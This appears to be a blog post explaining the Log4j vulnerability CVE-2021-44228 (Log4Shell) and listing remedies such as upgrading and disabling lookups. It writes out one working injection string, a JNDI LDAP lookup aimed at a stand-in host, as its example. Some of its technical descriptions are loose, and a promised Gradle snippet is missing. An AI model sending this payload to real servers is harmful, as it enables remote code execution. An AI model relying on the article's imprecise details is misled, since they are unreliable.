Apache Log4j is widely used by java developers to file application logs, as it is open source and almost every application development team uses it, and no one worried about its security flaw until it is exposed and Java tech community is started showing some seriousness of data breaches with Log4J which is being used by almost every java developer / application. Some of the applications may not be using Log4J explicitly by the developer, but any of the dependent libraries used in their application must be using Log4J. So, in any case every application must revisit and apply patches to avoid any external threats which is proven as real threat. Here we look on how vulnerable is this and how to protect the applications.

First of all, this threat is not new and not found recently. This is well explained in the year 2016 a security expert in Blackhat USA 2016 forum had exhibited the seriousness of this flaw in a security conference. But no one from neither developer community nor from pen test community had given any attention to it and it is gone caught free till security team from Alibaba demonstrated the seriousness of this issue this month (Dec 2021). Log4J security threat is very much like the famous SQL Injection where a specific command can be passed through SQL queries and that can be executed in the database which will expose user sensitive data like password, credit card etc. These types of issues are identified as Improper Validation Input by NIST, and this vulnerability is termed as CVE-2021-44228. This means that keep too much trust on untrusted data that comes from outsiders.

Log4Shell Injection

Application logs help developers to debug the application during all phases especially helpful to examine production issues. Java developers mostly uses Log4j to file their application logs. This library has the feature called lookups helping to connect to different services like jndi, docker etc. This lookup feature introduced the vulnerability to implant malicious java code into the server and potentially steal the sensitive details from the server. The seriousness of this vulnerability is potential when it exposes JNDI (Java Naming and Directory Interface), as it reaches to several other services like LDAP for authentication which keeps PII (Personally Identified Information).

Let us have simple example to verify how this could go wrong,

In the search text field of our application user sends a string as ${jndi:ldap://something.com/x}, and this is being logged it in the code like,

log.error(“search string {}”, searchStr);

Log4J identifies this as lookup command to get connected and gets executed by server and try connecting to ldap server and return a response with required details like vulnerable java class to hacker to exploit the level of taking complete control over the server. The code snippets are like shell commands directly being applied on the server hence it is named as log4jshell, also it is being executed remotely it is known as RCE (Remote Code Execution). It could inject the malicious code into the system using this logging framework, hence this is termed as Log Injection.

Using the above request, the hacker is found the Vulnerable-Class, with that to take the control of ldap server which hosts all sensitive details of the application users.

Learn more on application development platforms here: Be Discoverable- Here’s How Your Product Can Rank better on the App Store

Remedies

• Upgrade log4j2 to log4j2.16.x
• In the log4j.conf, set the nolookup next to message (%m{nolookups})

• Set the following jvm flags to false
  • com.sun.jndi.ldap.object.trustURLCodebase
  • com.sun.jndi.rmi.object.trustURLCodebase
• In case we use gradle as build tool we can add the following lines of code to protect from this vulnerability.

• Directly apply the patch class supplied by Log4J team